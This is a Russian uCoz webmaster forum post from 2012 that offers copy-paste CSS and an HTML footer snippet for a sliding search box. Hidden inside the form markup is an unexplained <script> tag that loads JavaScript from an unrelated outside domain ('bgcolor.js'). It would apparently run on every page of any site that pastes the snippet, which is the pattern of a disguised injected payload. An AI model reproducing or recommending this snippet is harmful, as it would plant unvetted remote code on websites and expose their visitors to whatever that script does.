Профиль
ИнформацияУправление
Мини-Чат | Сегодня: 24, 24.11.2017, 21:14
У вас новых личных сообщений · Мой профиль | Выход




Логин:
Пароль:

Страница 1 из 11
Форум » Информация для Web-мастера » Готовые скрипты для Ucoz » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
Выдыижной, Красивый поиск
SherxanДата: Воскресенье, 15.07.2012, 17:42 | Сообщение № 1
Sherxan
Лейтенант
Группа: Пользователи
Сообщений: 56
« 0 »
Статус:
Смотрим скрин скрипта: http://i075.radikal.ru/1207/67/0c366b24f772.png

Установка:
1)Вставляем в CSS в самый низ:

Code
.poisk{   
   position:fixed;   
   background-image:-webkit-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-moz-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-o-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:linear-gradient(bottom,#426BFF,#60A5FF);   
   -webkit-box-shadow:0 0 3px black;   
   -moz-box-shadow:0 0 3px black;   
   -o-box-shadow:0 0 3px black;   
   box-shadow:0 0 3px black;   
   border:1px solid #404040;   
   left:-200px;   
   width:240px;   
   height:30px;   
   border-radius:3px;   
   top:100px;   
   color:white;   
   text-shadow:0 0 3px black;   
   -webkit-transition:all 0.4s ease;   
   -moz-transition:all 0.4s ease;   
   -o-transition:all 0.4s ease;   
   transition:all 0.4s ease;   
   padding:3px;   
   }   
   .poisk:hover{   
   left:-3px;   
   }   
   .poisk #search{   
   width:175px;   
   position:relative;   
   top:3px;   
   left:5px;   
   -webkit-transition: all 0.4s ease;   
   -moz-transition: all 0.4s ease;   
   -o-transition: all 0.4s ease;   
   transition: all 0.4s ease;   
   border-radius:3px;   
   border:1px solid #606060;   
   height:26px;   
   }   
   .poisk:hover #search{   
   width:230px;   
   }   
   #search{   
   -webkit-transition:all 0.2s ease;   
   -moz-transition:all 0.2s ease;   
   -o-transition:all 0.2s ease;   
   transition:all 0.2s ease;   
   }   
   #search:focus{   
   border:1px solid #404040;   
   -webkit-box-shadow:inset 1px 1px 3px #ccc;   
   -moz-box-shadow:inset 1px 1px 3px #ccc;   
   box-shadow:inset 1px 1px 3px #ccc;   
   }   
   .poisk:hover #poiskknopka{   
   display:none;   
   }


2)Вставляем в Нижнюю часть сайта:

Code
<div class="poisk"><form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/"><input id="search" class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}" id="acpro_inp11" autocomplete="off"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><span style="position:absolute;right: 10px;top: 6px;font-family: tahoma, sans-serif;font-size: 14px;font-style: normal;font-variant: normal;font-weight: normal;" id="poiskknopka"><img src="http://s017.radikal.ru/i427/1207/d2/fe6772a47ea5.png"></span></form></div>
Форум » Информация для Web-мастера » Готовые скрипты для Ucoz » Выдыижной, Красивый поиск (не занимает много места. очень удобно)
Страница 1 из 11
Поиск:
Последние файлы

По любым вопросам вы можете связаться с администрацией сайта.


Auslogics Boost Speed

null

Roydarkle

null

ACES GUI Beta 1.2

null

T44 GUI v1.0.0 Beta

null

PinCho GUI v1.0.1F (RUS)

null

PinCho GUI v1.0.1F (ENG)

null

Статистика Top 5
Последние новости Самые отвечаемые темы Последние статьи Последние сообщения
Тестирование ком... 22.09.2009
Панель для разго... 26.05.2009
Наушники KOSS дл... 26.05.2009
Переосмысление N... 10.04.2009
DIRT 2 в сентябр... 10.04.2009
Заказ шапки, бан... 89
Полный список на... 33
Мини-Профили 25
Картинки в форме... 18
Super Admin 13
Час пик 3 / Rush... 30.05.2009
13-й район 2: Ул... 30.05.2009
Перевозчик 3 / T... 30.05.2009
Семь жизней / Se... 30.05.2009
Хранители / Watc... 30.05.2009
Тема Дата, Время Автор Раздел
Подарки на Нов... 31.12.2015, 17:47 AlionaSGSt
Помощь подбора... 23.03.2015, 02:57 AlefMok
Профиль для uc... 29.11.2013, 15:52 Sherxan
Красивый инфор... 29.11.2013, 15:52 Sherxan
Уведомления о ... 29.11.2013, 15:51 Sherxan
Форма входа на... 29.11.2013, 15:51 Sherxan
Голубая кнопка... 20.09.2012, 20:31 Sherxan
Статистика кто... 20.09.2012, 20:31 Sherxan
статистика CW 20.09.2012, 20:31 Sherxan
Новый вид стат... 02.09.2012, 19:15 Sherxan
Новые пользователи Активные пользователи Лучшие комментаторы
4atty 0
JamesJoums 0
AnthonyHok 0
PhillipHog 0
JamesGyzlyuvy 0
DeaGLe 360
AparatuS 86
Sherxan 56
AquaGen 27
Boni543 20
DeaGLe 12
KRAK 11
маньяк 3
Boni543 2
msx 2
Последние обновления на форуме
Название форума Название темы Всего сообщений Последнее сообщение Дата сообщения
О разном Подарки на Новый Год и не только 0 AlionaSGSt 31.12.2015 в 17:47
Изготовление Помощь подбора автомобиля 0 AlefMok 23.03.2015 в 02:57
Готовые скрипты для Ucoz Профиль для ucoz в нижнем правом углу сайта 0 Sherxan 29.11.2013 в 15:52
Готовые скрипты для Ucoz Красивый информер для файлов ucoz 0 Sherxan 29.11.2013 в 15:52
Готовые скрипты для Ucoz Уведомления о регистрации для ucoz 0 Sherxan 29.11.2013 в 15:51
Готовые скрипты для Ucoz Форма входа на uCoz 0 Sherxan 29.11.2013 в 15:51
Готовые скрипты для Ucoz Голубая кнопка вверх для Ucoz 0 Sherxan 20.09.2012 в 20:31
Готовые скрипты для Ucoz Статистика кто посетил в красивом стиле для uCoz 0 Sherxan 20.09.2012 в 20:31
Готовые скрипты для Ucoz статистика CW 0 Sherxan 20.09.2012 в 20:31
Готовые скрипты для Ucoz Новый вид статистики Ucoz 0 Sherxan 02.09.2012 в 19:15
Реклама
Демки, патчи, файлы, плагины

Все файлы и информация расположенные на данном ресурсе были взяты из открытых источников. Любая информация представленная здесь, может использоваться только в ознакомительных целях. Входя на сайт вы автоматически соглашаетесь с данными условиями. Ни администрация сайта, ни хостинг-провайдер, ни любые другие лица не могут нести отвественности за использование материалов. Если Вы являетесь правообладателем материалов и мы нарушаем ваши авторские права, просьба сообщить администрации.